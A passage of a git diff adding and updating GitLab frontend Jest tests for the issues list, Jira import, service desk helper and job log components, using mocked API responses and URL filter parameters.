+import Issuable from '~/issues_list/components/issuable.vue';
+import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
+import issueablesEventBus from '~/issues_list/eventhub';
+import { PAGE_SIZE, PAGE_SIZE_MANUAL, RELATIVE_POSITION } from '~/issues_list/constants';
+
+jest.mock('~/flash');
+jest.mock('~/issues_list/eventhub');
+jest.mock('~/lib/utils/common_utils', () => ({
+ ...jest.requireActual('~/lib/utils/common_utils'),
+ scrollToElement: () => {},
+}));
+
+const TEST_LOCATION = `${TEST_HOST}/issues`;
+const TEST_ENDPOINT = '/issues';
+const TEST_CREATE_ISSUES_PATH = '/createIssue';
+const TEST_SVG_PATH = '/emptySvg';
+
+const setUrl = query => {
+ window.location.href = `${TEST_LOCATION}${query}`;
+ window.location.search = query;
+};
+
+const MOCK_ISSUES = Array(PAGE_SIZE_MANUAL)
+ .fill(0)
+ .map((_, i) => ({
+ id: i,
+ web_url: `url${i}`,
+ }));
+
+describe('Issuables list component', () => {
+ let oldLocation;
+ let mockAxios;
+ let wrapper;
+ let apiSpy;
+
+ const setupApiMock = cb => {
+ apiSpy = jest.fn(cb);
+
+ mockAxios.onGet(TEST_ENDPOINT).reply(cfg => apiSpy(cfg));
+ };
+
+ const factory = (props = { sortKey: 'priority' }) => {
+ const emptyStateMeta = {
+ createIssuePath: TEST_CREATE_ISSUES_PATH,
+ svgPath: TEST_SVG_PATH,
+ };
+
+ wrapper = shallowMount(IssuablesListApp, {
+ propsData: {
+ endpoint: TEST_ENDPOINT,
+ emptyStateMeta,
+ ...props,
+ },
+ });
+ };
+
+ const findLoading = () => wrapper.find(GlSkeletonLoading);
+ const findIssuables = () => wrapper.findAll(Issuable);
+ const findFilteredSearchBar = () => wrapper.find(FilteredSearchBar);
+ const findFirstIssuable = () => findIssuables().wrappers[0];
+ const findEmptyState = () => wrapper.find(GlEmptyState);
+
+ beforeEach(() => {
+ mockAxios = new MockAdapter(axios);
+
+ oldLocation = window.location;
+ Object.defineProperty(window, 'location', {
+ writable: true,
+ value: { href: '', search: '' },
+ });
+ window.location.href = TEST_LOCATION;
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ mockAxios.restore();
+ window.location = oldLocation;
+ });
+
+ describe('with failed issues response', () => {
+ beforeEach(() => {
+ setupApiMock(() => [500]);
+
+ factory();
+
+ return waitForPromises();
+ });
+
+ it('does not show loading', () => {
+ expect(wrapper.vm.loading).toBe(false);
+ });
+
+ it('flashes an error', () => {
+ expect(flash).toHaveBeenCalledTimes(1);
+ });
+ });
+
+ describe('with successful issues response', () => {
+ beforeEach(() => {
+ setupApiMock(() => [
+ 200,
+ MOCK_ISSUES.slice(0, PAGE_SIZE),
+ {
+ 'x-total': 100,
+ 'x-page': 2,
+ },
+ ]);
+ });
+
+ it('has default props and data', () => {
+ factory();
+ expect(wrapper.vm).toMatchObject({
+ // Props
+ canBulkEdit: false,
+ emptyStateMeta: {
+ createIssuePath: TEST_CREATE_ISSUES_PATH,
+ svgPath: TEST_SVG_PATH,
+ },
+ // Data
+ filters: {
+ state: 'opened',
+ },
+ isBulkEditing: false,
+ issuables: [],
+ loading: true,
+ page: 1,
+ selection: {},
+ totalItems: 0,
+ });
+ });
+
+ it('does not call API until mounted', () => {
+ factory();
+ expect(apiSpy).not.toHaveBeenCalled();
+ });
+
+ describe('when mounted', () => {
+ beforeEach(() => {
+ factory();
+ });
+
+ it('calls API', () => {
+ expect(apiSpy).toHaveBeenCalled();
+ });
+
+ it('shows loading', () => {
+ expect(findLoading().exists()).toBe(true);
+ expect(findIssuables().length).toBe(0);
+ expect(findEmptyState().exists()).toBe(false);
+ });
+ });
+
+ describe('when finished loading', () => {
+ beforeEach(() => {
+ factory();
+
+ return waitForPromises();
+ });
+
+ it('does not display empty state', () => {
+ expect(wrapper.vm.issuables.length).toBeGreaterThan(0);
+ expect(wrapper.vm.emptyState).toEqual({});
+ expect(wrapper.find(GlEmptyState).exists()).toBe(false);
+ });
+
+ it('sets the proper page and total items', () => {
+ expect(wrapper.vm.totalItems).toBe(100);
+ expect(wrapper.vm.page).toBe(2);
+ });
+
+ it('renders one page of issuables and pagination', () => {
+ expect(findIssuables().length).toBe(PAGE_SIZE);
+ expect(wrapper.find(GlPagination).exists()).toBe(true);
+ });
+ });
+
+ it('does not render FilteredSearchBar', () => {
+ factory();
+
+ expect(findFilteredSearchBar().exists()).toBe(false);
+ });
+ });
+
+ describe('with bulk editing enabled', () => {
+ beforeEach(() => {
+ issueablesEventBus.$on.mockReset();
+ issueablesEventBus.$emit.mockReset();
+
+ setupApiMock(() => [200, MOCK_ISSUES.slice(0)]);
+ factory({ canBulkEdit: true });
+
+ return waitForPromises();
+ });
+
+ it('is not enabled by default', () => {
+ expect(wrapper.vm.isBulkEditing).toBe(false);
+ });
+
+ it('does not select issues by default', () => {
+ expect(wrapper.vm.selection).toEqual({});
+ });
+
+ it('"Select All" checkbox toggles all visible issuables"', () => {
+ wrapper.vm.onSelectAll();
+ expect(wrapper.vm.selection).toEqual(
+ wrapper.vm.issuables.reduce((acc, i) => ({ ...acc, [i.id]: true }), {}),
+ );
+
+ wrapper.vm.onSelectAll();
+ expect(wrapper.vm.selection).toEqual({});
+ });
+
+ it('"Select All checkbox" selects all issuables if only some are selected"', () => {
+ wrapper.vm.selection = { [wrapper.vm.issuables[0].id]: true };
+ wrapper.vm.onSelectAll();
+ expect(wrapper.vm.selection).toEqual(
+ wrapper.vm.issuables.reduce((acc, i) => ({ ...acc, [i.id]: true }), {}),
+ );
+ });
+
+ it('selects and deselects issuables', () => {
+ const [i0, i1, i2] = wrapper.vm.issuables;
+
+ expect(wrapper.vm.selection).toEqual({});
+ wrapper.vm.onSelectIssuable({ issuable: i0, selected: false });
+ expect(wrapper.vm.selection).toEqual({});
+ wrapper.vm.onSelectIssuable({ issuable: i1, selected: true });
+ expect(wrapper.vm.selection).toEqual({ '1': true });
+ wrapper.vm.onSelectIssuable({ issuable: i0, selected: true });
+ expect(wrapper.vm.selection).toEqual({ '1': true, '0': true });
+ wrapper.vm.onSelectIssuable({ issuable: i2, selected: true });
+ expect(wrapper.vm.selection).toEqual({ '1': true, '0': true, '2': true });
+ wrapper.vm.onSelectIssuable({ issuable: i2, selected: true });
+ expect(wrapper.vm.selection).toEqual({ '1': true, '0': true, '2': true });
+ wrapper.vm.onSelectIssuable({ issuable: i0, selected: false });
+ expect(wrapper.vm.selection).toEqual({ '1': true, '2': true });
+ });
+
+ it('broadcasts a message to the bulk edit sidebar when a value is added to selection', () => {
+ issueablesEventBus.$emit.mockReset();
+ const i1 = wrapper.vm.issuables[1];
+
+ wrapper.vm.onSelectIssuable({ issuable: i1, selected: true });
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(issueablesEventBus.$emit).toHaveBeenCalledTimes(1);
+ expect(issueablesEventBus.$emit).toHaveBeenCalledWith('issuables:updateBulkEdit');
+ });
+ });
+
+ it('does not broadcast a message to the bulk edit sidebar when a value is not added to selection', () => {
+ issueablesEventBus.$emit.mockReset();
+
+ return wrapper.vm
+ .$nextTick()
+ .then(waitForPromises)
+ .then(() => {
+ const i1 = wrapper.vm.issuables[1];
+
+ wrapper.vm.onSelectIssuable({ issuable: i1, selected: false });
+ })
+ .then(wrapper.vm.$nextTick)
+ .then(() => {
+ expect(issueablesEventBus.$emit).toHaveBeenCalledTimes(0);
+ });
+ });
+
+ it('listens to a message to toggle bulk editing', () => {
+ expect(wrapper.vm.isBulkEditing).toBe(false);
+ expect(issueablesEventBus.$on.mock.calls[0][0]).toBe('issuables:toggleBulkEdit');
+ issueablesEventBus.$on.mock.calls[0][1](true); // Call the message handler
+
+ return waitForPromises()
+ .then(() => {
+ expect(wrapper.vm.isBulkEditing).toBe(true);
+ issueablesEventBus.$on.mock.calls[0][1](false);
+ })
+ .then(() => {
+ expect(wrapper.vm.isBulkEditing).toBe(false);
+ });
+ });
+ });
+
+ describe('with query params in window.location', () => {
+ const expectedFilters = {
+ assignee_username: 'root',
+ author_username: 'root',
+ confidential: 'yes',
+ my_reaction_emoji: 'airplane',
+ scope: 'all',
+ state: 'opened',
+ utf8: '✓',
+ weight: '0',
+ milestone: 'v3.0',
+ labels: 'Aquapod,Astro',
+ order_by: 'milestone_due',
+ sort: 'desc',
+ };
+
+ describe('when page is not present in params', () => {
+ const query =
+ '?assignee_username=root&author_username=root&confidential=yes&label_name%5B%5D=Aquapod&label_name%5B%5D=Astro&milestone_title=v3.0&my_reaction_emoji=airplane&scope=all&sort=priority&state=opened&utf8=%E2%9C%93&weight=0&not[label_name][]=Afterpod&not[milestone_title][]=13';
+
+ beforeEach(() => {
+ setUrl(query);
+
+ setupApiMock(() => [200, MOCK_ISSUES.slice(0)]);
+ factory({ sortKey: 'milestone_due_desc' });
+
+ return waitForPromises();
+ });
+
+ afterEach(() => {
+ apiSpy.mockClear();
+ });
+
+ it('applies filters and sorts', () => {
+ expect(wrapper.vm.hasFilters).toBe(true);
+ expect(wrapper.vm.filters).toEqual({
+ ...expectedFilters,
+ 'not[milestone]': ['13'],
+ 'not[labels]': ['Afterpod'],
+ });
+
+ expect(apiSpy).toHaveBeenCalledWith(
+ expect.objectContaining({
+ params: {
+ ...expectedFilters,
+ with_labels_details: true,
+ page: 1,
+ per_page: PAGE_SIZE,
+ 'not[milestone]': ['13'],
+ 'not[labels]': ['Afterpod'],
+ },
+ }),
+ );
+ });
+
+ it('passes the base url to issuable', () => {
+ expect(findFirstIssuable().props('baseUrl')).toBe(TEST_LOCATION);
+ });
+ });
+
+ describe('when page is present in the param', () => {
+ const query =
+ '?assignee_username=root&author_username=root&confidential=yes&label_name%5B%5D=Aquapod&label_name%5B%5D=Astro&milestone_title=v3.0&my_reaction_emoji=airplane&scope=all&sort=priority&state=opened&utf8=%E2%9C%93&weight=0&page=3';
+
+ beforeEach(() => {
+ setUrl(query);
+
+ setupApiMock(() => [200, MOCK_ISSUES.slice(0)]);
+ factory({ sortKey: 'milestone_due_desc' });
+
+ return waitForPromises();
+ });
+
+ afterEach(() => {
+ apiSpy.mockClear();
+ });
+
+ it('applies filters and sorts', () => {
+ expect(apiSpy).toHaveBeenCalledWith(
+ expect.objectContaining({
+ params: {
+ ...expectedFilters,
+ with_labels_details: true,
+ page: 3,
+ per_page: PAGE_SIZE,
+ },
+ }),
+ );
+ });
+ });
+ });
+
+ describe('with hash in window.location', () => {
+ beforeEach(() => {
+ window.location.href = `${TEST_LOCATION}#stuff`;
+ setupApiMock(() => [200, MOCK_ISSUES.slice(0)]);
+ factory();
+ return waitForPromises();
+ });
+
+ it('passes the base url to issuable', () => {
+ expect(findFirstIssuable().props('baseUrl')).toBe(TEST_LOCATION);
+ });
+ });
+
+ describe('with manual sort', () => {
+ beforeEach(() => {
+ setupApiMock(() => [200, MOCK_ISSUES.slice(0)]);
+ factory({ sortKey: RELATIVE_POSITION });
+ });
+
+ it('uses manual page size', () => {
+ expect(apiSpy).toHaveBeenCalledWith(
+ expect.objectContaining({
+ params: expect.objectContaining({
+ per_page: PAGE_SIZE_MANUAL,
+ }),
+ }),
+ );
+ });
+ });
+
+ describe('with empty issues response', () => {
+ beforeEach(() => {
+ setupApiMock(() => [200, []]);
+ });
+
+ describe('with query in window location', () => {
+ beforeEach(() => {
+ window.location.search = '?weight=Any';
+
+ factory();
+
+ return waitForPromises().then(() => wrapper.vm.$nextTick());
+ });
+
+ it('should display "Sorry, your filter produced no results" if filters are too specific', () => {
+ expect(findEmptyState().props('title')).toMatchSnapshot();
+ });
+ });
+
+ describe('with closed state', () => {
+ beforeEach(() => {
+ window.location.search = '?state=closed';
+
+ factory();
+
+ return waitForPromises().then(() => wrapper.vm.$nextTick());
+ });
+
+ it('should display a message "There are no closed issues" if there are no closed issues', () => {
+ expect(findEmptyState().props('title')).toMatchSnapshot();
+ });
+ });
+
+ describe('with all state', () => {
+ beforeEach(() => {
+ window.location.search = '?state=all';
+
+ factory();
+
+ return waitForPromises().then(() => wrapper.vm.$nextTick());
+ });
+
+ it('should display a catch-all if there are no issues to show', () => {
+ expect(findEmptyState().element).toMatchSnapshot();
+ });
+ });
+
+ describe('with empty query', () => {
+ beforeEach(() => {
+ factory();
+
+ return wrapper.vm.$nextTick().then(waitForPromises);
+ });
+
+ it('should display the message "There are no open issues"', () => {
+ expect(findEmptyState().props('title')).toMatchSnapshot();
+ });
+ });
+ });
+
+ describe('when paginates', () => {
+ const newPage = 3;
+
+ describe('when total-items is defined in response headers', () => {
+ beforeEach(() => {
+ window.history.pushState = jest.fn();
+ setupApiMock(() => [
+ 200,
+ MOCK_ISSUES.slice(0, PAGE_SIZE),
+ {
+ 'x-total': 100,
+ 'x-page': 2,
+ },
+ ]);
+
+ factory();
+
+ return waitForPromises();
+ });
+
+ afterEach(() => {
+ // reset to original value
+ window.history.pushState.mockRestore();
+ });
+
+ it('calls window.history.pushState one time', () => {
+ // Trigger pagination
+ wrapper.find(GlPagination).vm.$emit('input', newPage);
+
+ expect(window.history.pushState).toHaveBeenCalledTimes(1);
+ });
+
+ it('sets params in the url', () => {
+ // Trigger pagination
+ wrapper.find(GlPagination).vm.$emit('input', newPage);
+
+ expect(window.history.pushState).toHaveBeenCalledWith(
+ {},
+ '',
+ `${TEST_LOCATION}?state=opened&order_by=priority&sort=asc&page=${newPage}`,
+ );
+ });
+ });
+
+ describe('when total-items is not defined in the headers', () => {
+ const page = 2;
+ const prevPage = page - 1;
+ const nextPage = page + 1;
+
+ beforeEach(() => {
+ setupApiMock(() => [
+ 200,
+ MOCK_ISSUES.slice(0, PAGE_SIZE),
+ {
+ 'x-page': page,
+ },
+ ]);
+
+ factory();
+
+ return waitForPromises();
+ });
+
+ it('finds the correct props applied to GlPagination', () => {
+ expect(wrapper.find(GlPagination).props()).toMatchObject({
+ nextPage,
+ prevPage,
+ value: page,
+ });
+ });
+ });
+ });
+
+ describe('when type is "jira"', () => {
+ it('renders FilteredSearchBar', () => {
+ factory({ type: 'jira' });
+
+ expect(findFilteredSearchBar().exists()).toBe(true);
+ });
+
+ describe('initialSortBy', () => {
+ const query = '?sort=updated_asc';
+
+ it('sets default value', () => {
+ factory({ type: 'jira' });
+
+ expect(findFilteredSearchBar().props('initialSortBy')).toBe('created_desc');
+ });
+
+ it('sets value according to query', () => {
+ setUrl(query);
+
+ factory({ type: 'jira' });
+
+ expect(findFilteredSearchBar().props('initialSortBy')).toBe('updated_asc');
+ });
+ });
+
+ describe('initialFilterValue', () => {
+ it('does not set value when no query', () => {
+ factory({ type: 'jira' });
+
+ expect(findFilteredSearchBar().props('initialFilterValue')).toEqual([]);
+ });
+
+ it('sets value according to query', () => {
+ const query = '?search=free+text';
+
+ setUrl(query);
+
+ factory({ type: 'jira' });
+
+ expect(findFilteredSearchBar().props('initialFilterValue')).toEqual(['free text']);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/issues_list/components/jira_issues_list_root_spec.js b/spec/frontend/issues_list/components/jira_issues_list_root_spec.js
new file mode 100644
index 00000000000..eecb092a330
--- /dev/null
+++ b/spec/frontend/issues_list/components/jira_issues_list_root_spec.js
@@ -0,0 +1,115 @@
+import { GlAlert, GlLabel } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
+import JiraIssuesListRoot from '~/issues_list/components/jira_issues_list_root.vue';
+
+describe('JiraIssuesListRoot', () => {
+ const issuesPath = 'gitlab-org/gitlab-test/-/issues';
+ const label = {
+ color: '#333',
+ title: 'jira-import::MTG-3',
+ };
+ let wrapper;
+
+ const findAlert = () => wrapper.find(GlAlert);
+
+ const findAlertLabel = () => wrapper.find(GlAlert).find(GlLabel);
+
+ const mountComponent = ({
+ shouldShowFinishedAlert = false,
+ shouldShowInProgressAlert = false,
+ } = {}) =>
+ shallowMount(JiraIssuesListRoot, {
+ propsData: {
+ canEdit: true,
+ isJiraConfigured: true,
+ issuesPath,
+ projectPath: 'gitlab-org/gitlab-test',
+ },
+ data() {
+ return {
+ jiraImport: {
+ importedIssuesCount: 1,
+ label,
+ shouldShowFinishedAlert,
+ shouldShowInProgressAlert,
+ },
+ };
+ },
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('when Jira import is not in progress', () => {
+ it('does not show an alert', () => {
+ wrapper = mountComponent();
+
+ expect(wrapper.find(GlAlert).exists()).toBe(false);
+ });
+ });
+
+ describe('when Jira import is in progress', () => {
+ it('shows an alert that tells the user a Jira import is in progress', () => {
+ wrapper = mountComponent({
+ shouldShowInProgressAlert: true,
+ });
+
+ expect(findAlert().text()).toBe(
+ 'Import in progress. Refresh page to see newly added issues.',
+ );
+ });
+ });
+
+ describe('when Jira import has finished', () => {
+ beforeEach(() => {
+ wrapper = mountComponent({
+ shouldShowFinishedAlert: true,
+ });
+ });
+
+ describe('shows an alert', () => {
+ it('tells the user the Jira import has finished', () => {
+ expect(findAlert().text()).toBe('1 issue successfully imported with the label');
+ });
+
+ it('contains the label title associated with the Jira import', () => {
+ const alertLabelTitle = findAlertLabel().props('title');
+
+ expect(alertLabelTitle).toBe(label.title);
+ });
+
+ it('contains the correct label color', () => {
+ const alertLabelTitle = findAlertLabel().props('backgroundColor');
+
+ expect(alertLabelTitle).toBe(label.color);
+ });
+
+ it('contains a link within the label', () => {
+ const alertLabelTarget = findAlertLabel().props('target');
+
+ expect(alertLabelTarget).toBe(
+ `${issuesPath}?label_name[]=${encodeURIComponent(label.title)}`,
+ );
+ });
+ });
+ });
+
+ describe('alert message', () => {
+ it('is hidden when dismissed', () => {
+ wrapper = mountComponent({
+ shouldShowInProgressAlert: true,
+ });
+
+ expect(wrapper.find(GlAlert).exists()).toBe(true);
+
+ findAlert().vm.$emit('dismiss');
+
+ return Vue.nextTick(() => {
+ expect(wrapper.find(GlAlert).exists()).toBe(false);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/issuables_list/issuable_list_test_data.js b/spec/frontend/issues_list/issuable_list_test_data.js
index 313aa15bd31..313aa15bd31 100644
--- a/spec/frontend/issuables_list/issuable_list_test_data.js
+++ b/spec/frontend/issues_list/issuable_list_test_data.js
diff --git a/spec/frontend/issues_list/service_desk_helper_spec.js b/spec/frontend/issues_list/service_desk_helper_spec.js
new file mode 100644
index 00000000000..16aee853341
--- /dev/null
+++ b/spec/frontend/issues_list/service_desk_helper_spec.js
@@ -0,0 +1,28 @@
+import { emptyStateHelper, generateMessages } from '~/issues_list/service_desk_helper';
+
+describe('service desk helper', () => {
+ const emptyStateMessages = generateMessages({});
+
+ // Note: isServiceDeskEnabled must not be true when isServiceDeskSupported is false (it's an invalid case).
+ describe.each`
+ isServiceDeskSupported | isServiceDeskEnabled | canEditProjectSettings | expectedMessage
+ ${true} | ${true} | ${true} | ${'serviceDeskEnabledAndCanEditProjectSettings'}
+ ${true} | ${true} | ${false} | ${'serviceDeskEnabledAndCannotEditProjectSettings'}
+ ${true} | ${false} | ${true} | ${'serviceDeskDisabledAndCanEditProjectSettings'}
+ ${true} | ${false} | ${false} | ${'serviceDeskDisabledAndCannotEditProjectSettings'}
+ ${false} | ${false} | ${true} | ${'serviceDeskIsNotSupported'}
+ ${false} | ${false} | ${false} | ${'serviceDeskIsNotEnabled'}
+ `(
+ 'isServiceDeskSupported = $isServiceDeskSupported, isServiceDeskEnabled = $isServiceDeskEnabled, canEditProjectSettings = $canEditProjectSettings',
+ ({ isServiceDeskSupported, isServiceDeskEnabled, canEditProjectSettings, expectedMessage }) => {
+ it(`displays ${expectedMessage} message`, () => {
+ const emptyStateMeta = {
+ isServiceDeskEnabled,
+ isServiceDeskSupported,
+ canEditProjectSettings,
+ };
+ expect(emptyStateHelper(emptyStateMeta)).toEqual(emptyStateMessages[expectedMessage]);
+ });
+ },
+ );
+});
diff --git a/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap b/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
index 975c31bb59c..eede5426f42 100644
--- a/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
+++ b/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
@@ -114,7 +114,7 @@ exports[`JiraImportForm table body shows correct information in each cell 1`] =
<!---->
<div
- class="gl-search-box-by-type m-2"
+ class="gl-search-box-by-type gl-m-3"
>
<svg
class="gl-search-box-by-type-search-icon gl-icon s16"
@@ -225,7 +225,7 @@ exports[`JiraImportForm table body shows correct information in each cell 1`] =
<!---->
<div
- class="gl-search-box-by-type m-2"
+ class="gl-search-box-by-type gl-m-3"
>
<svg
class="gl-search-box-by-type-search-icon gl-icon s16"
diff --git a/spec/frontend/jira_import/components/jira_import_form_spec.js b/spec/frontend/jira_import/components/jira_import_form_spec.js
index 6ef28a71f48..d184c054b8a 100644
--- a/spec/frontend/jira_import/components/jira_import_form_spec.js
+++ b/spec/frontend/jira_import/components/jira_import_form_spec.js
@@ -1,4 +1,4 @@
-import { GlAlert, GlButton, GlNewDropdown, GlFormSelect, GlLabel, GlTable } from '@gitlab/ui';
+import { GlAlert, GlButton, GlDropdown, GlFormSelect, GlLabel, GlTable } from '@gitlab/ui';
import { getByRole } from '@testing-library/dom';
import { mount, shallowMount } from '@vue/test-utils';
import AxiosMockAdapter from 'axios-mock-adapter';
@@ -35,7 +35,7 @@ describe('JiraImportForm', () => {
const getTable = () => wrapper.find(GlTable);
- const getUserDropdown = () => getTable().find(GlNewDropdown);
+ const getUserDropdown = () => getTable().find(GlDropdown);
const getHeader = name => getByRole(wrapper.element, 'columnheader', { name });
@@ -100,7 +100,7 @@ describe('JiraImportForm', () => {
it('is shown', () => {
wrapper = mountComponent();
- expect(wrapper.contains(GlFormSelect)).toBe(true);
+ expect(wrapper.find(GlFormSelect).exists()).toBe(true);
});
it('contains a list of Jira projects to select from', () => {
diff --git a/spec/frontend/jira_import/utils/jira_import_utils_spec.js b/spec/frontend/jira_import/utils/jira_import_utils_spec.js
index 8ae1fc3535a..0992c9e8d16 100644
--- a/spec/frontend/jira_import/utils/jira_import_utils_spec.js
+++ b/spec/frontend/jira_import/utils/jira_import_utils_spec.js
@@ -8,7 +8,7 @@ import {
setFinishedAlertHideMap,
shouldShowFinishedAlert,
} from '~/jira_import/utils/jira_import_utils';
-import { JIRA_IMPORT_SUCCESS_ALERT_HIDE_MAP_KEY } from '~/issuables_list/constants';
+import { JIRA_IMPORT_SUCCESS_ALERT_HIDE_MAP_KEY } from '~/issues_list/constants';
useLocalStorageSpy();
diff --git a/spec/frontend/jobs/components/artifacts_block_spec.js b/spec/frontend/jobs/components/artifacts_block_spec.js
index 11bd645916e..a709a59cadd 100644
--- a/spec/frontend/jobs/components/artifacts_block_spec.js
+++ b/spec/frontend/jobs/components/artifacts_block_spec.js
@@ -8,7 +8,10 @@ describe('Artifacts block', () => {
const createWrapper = propsData =>
mount(ArtifactsBlock, {
- propsData,
+ propsData: {
+ helpUrl: 'help-url',
+ ...propsData,
+ },
});
const findArtifactRemoveElt = () => wrapper.find('[data-testid="artifacts-remove-timeline"]');
@@ -68,6 +71,12 @@ describe('Artifacts block', () => {
expect(trimText(findArtifactRemoveElt().text())).toBe(
`The artifacts were removed ${formattedDate}`,
);
+
+ expect(
+ findArtifactRemoveElt()
+ .find('[data-testid="artifact-expired-help-link"]')
+ .attributes('href'),
+ ).toBe('help-url');
});
it('does not show the keep button', () => {
@@ -94,6 +103,12 @@ describe('Artifacts block', () => {
expect(trimText(findArtifactRemoveElt().text())).toBe(
`The artifacts will be removed ${formattedDate}`,
);
+
+ expect(
+ findArtifactRemoveElt()
+ .find('[data-testid="artifact-expired-help-link"]')
+ .attributes('href'),
+ ).toBe('help-url');
});
it('renders the keep button', () => {
diff --git a/spec/frontend/jobs/components/job_app_spec.js b/spec/frontend/jobs/components/job_app_spec.js
index e9ecafcd4c3..94653d4d4c7 100644
--- a/spec/frontend/jobs/components/job_app_spec.js
+++ b/spec/frontend/jobs/components/job_app_spec.js
@@ -33,6 +33,7 @@ describe('Job App', () => {
};
const props = {
+ artifactHelpUrl: 'help/artifact',
runnerHelpUrl: 'help/runner',
deploymentHelpUrl: 'help/deployment',
runnerSettingsUrl: 'settings/ci-cd/runners',
diff --git a/spec/frontend/jobs/components/log/collapsible_section_spec.js b/spec/frontend/jobs/components/log/collapsible_section_spec.js
index bf2f8c05806..66f22162c97 100644
--- a/spec/frontend/jobs/components/log/collapsible_section_spec.js
+++ b/spec/frontend/jobs/components/log/collapsible_section_spec.js
@@ -35,7 +35,7 @@ describe('Job Log Collapsible Section', () => {
});
it('renders an icon with the closed state', () => {
- expect(findCollapsibleLineSvg().classes()).toContain('ic-angle-right');
+ expect(findCollapsibleLineSvg().attributes('data-testid')).toBe('angle-right-icon');
});
});
@@ -52,7 +52,7 @@ describe('Job Log Collapsible Section', () => {
});
it('renders an icon with the open state', () => {
- expect(findCollapsibleLineSvg().classes()).toContain('ic-angle-down');
+ expect(findCollapsibleLineSvg().attributes('data-testid')).toBe('angle-down-icon');
});
it('renders collapsible lines content', () => {
diff --git a/spec/frontend/jobs/components/log/line_header_spec.js b/spec/frontend/jobs/components/log/line_header_spec.js
index 5ce69221dab..bb90949b1f4 100644
--- a/spec/frontend/jobs/components/log/line_header_spec.js
+++ b/spec/frontend/jobs/components/log/line_header_spec.js
@@ -38,7 +38,7 @@ describe('Job Log Header Line', () => {
});
it('renders the line number component', () => {
- expect(wrapper.contains(LineNumber)).toBe(true);
+ expect(wrapper.find(LineNumber).exists()).toBe(true);
});
it('renders a span the provided text', () => {
@@ -90,7 +90,7 @@ describe('Job Log Header Line', () => {
});
it('renders the duration badge', () => {
- expect(wrapper.contains(DurationBadge)).toBe(true);
+ expect(wrapper.find(DurationBadge).exists()).toBe(true);
});
});
});
diff --git a/spec/frontend/jobs/components/log/line_spec.js b/spec/frontend/jobs/components/log/line_spec.js
index ec3a3968f14..c2412a807c3 100644
--- a/spec/frontend/jobs/components/log/line_spec.js
+++ b/spec/frontend/jobs/components/log/line_spec.js
@@ -35,7 +35,7 @@ describe('Job Log Line', () => {
});
it('renders the line number component', () => {
- expect(wrapper.contains(LineNumber)).toBe(true);
+ expect(wrapper.find(LineNumber).exists()).toBe(true);
});
it('renders a span the provided text', () => {
diff --git a/spec/frontend/jobs/components/log/log_spec.js b/spec/frontend/jobs/components/log/log_spec.js
index 02cdb31d27e..015d5e01a46 100644
--- a/spec/frontend/jobs/components/log/log_spec.js
+++ b/spec/frontend/jobs/components/log/log_spec.js
@@ -42,6 +42,8 @@ describe('Job Log', () => {
wrapper.destroy();
});
+ const findCollapsibleLine = () => wrapper.find('.collapsible-line');
+
describe('line numbers', () => {
it('renders a line number for each open line', () => {
expect(wrapper.find('#L1').text()).toBe('1');
@@ -56,18 +58,22 @@ describe('Job Log', () => {
describe('collapsible sections', () => {
it('renders a clickable header section', () => {
- expect(wrapper.find('.collapsible-line').attributes('role')).toBe('button');
+ expect(findCollapsibleLine().attributes('role')).toBe('button');
});
it('renders an icon with the open state', () => {
- expect(wrapper.find('.collapsible-line svg').classes()).toContain('ic-angle-down');
+ expect(
+ findCollapsibleLine()
+ .find('[data-testid="angle-down-icon"]')
+ .exists(),
+ ).toBe(true);
});
describe('on click header section', () => {
it('calls toggleCollapsibleLine', () => {
jest.spyOn(wrapper.vm, 'toggleCollapsibleLine');
- wrapper.find('.collapsible-line').trigger('click');
+ findCollapsibleLine().trigger('click');
expect(wrapper.vm.toggleCollapsibleLine).toHaveBeenCalled();
});
diff --git a/spec/frontend/jobs/components/manual_variables_form_spec.js b/spec/frontend/jobs/components/manual_variables_form_spec.js
index 82fd73ef033..547f146cf88 100644
--- a/spec/frontend/jobs/components/manual_variables_form_spec.js
+++ b/spec/frontend/jobs/components/manual_variables_form_spec.js
@@ -1,5 +1,5 @@
import { shallowMount, createLocalVue } from '@vue/test-utils';
-import { GlDeprecatedButton } from '@gitlab/ui';
+import { GlButton } from '@gitlab/ui';
import Form from '~/jobs/components/manual_variables_form.vue';
const localVue = createLocalVue();
@@ -95,7 +95,7 @@ describe('Manual Variables Form', () => {
});
it('removes the variable row', () => {
- wrapper.find(GlDeprecatedButton).vm.$emit('click');
+ wrapper.find(GlButton).vm.$emit('click');
expect(wrapper.vm.variables.length).toBe(0);
});
diff --git a/spec/frontend/jobs/store/helpers.js b/spec/frontend/jobs/store/helpers.js
index 81a769b4a6e..78e33394b63 100644
--- a/spec/frontend/jobs/store/helpers.js
+++ b/spec/frontend/jobs/store/helpers.js
@@ -1,6 +1,5 @@
import state from '~/jobs/store/state';
-// eslint-disable-next-line import/prefer-default-export
export const resetStore = store => {
store.replaceState(state());
};
diff --git a/spec/frontend/labels_issue_sidebar_spec.js b/spec/frontend/labels_issue_sidebar_spec.js
index fafefca94df..f74547c0554 100644
--- a/spec/frontend/labels_issue_sidebar_spec.js
+++ b/spec/frontend/labels_issue_sidebar_spec.js
@@ -7,7 +7,6 @@ import axios from '~/lib/utils/axios_utils';
import IssuableContext from '~/issuable_context';
import LabelsSelect from '~/labels_select';
-import '~/gl_dropdown';
import 'select2';
import '~/api';
import '~/create_label';
diff --git a/spec/frontend/lib/utils/axios_startup_calls_spec.js b/spec/frontend/lib/utils/axios_startup_calls_spec.js
new file mode 100644
index 00000000000..e804cae7914
--- /dev/null
+++ b/spec/frontend/lib/utils/axios_startup_calls_spec.js
@@ -0,0 +1,131 @@
+import axios from 'axios';
+import MockAdapter from 'axios-mock-adapter';
+import setupAxiosStartupCalls from '~/lib/utils/axios_startup_calls';
+
+describe('setupAxiosStartupCalls', () => {
+ const AXIOS_RESPONSE = { text: 'AXIOS_RESPONSE' };
+ const STARTUP_JS_RESPONSE = { text: 'STARTUP_JS_RESPONSE' };
+ let mock;
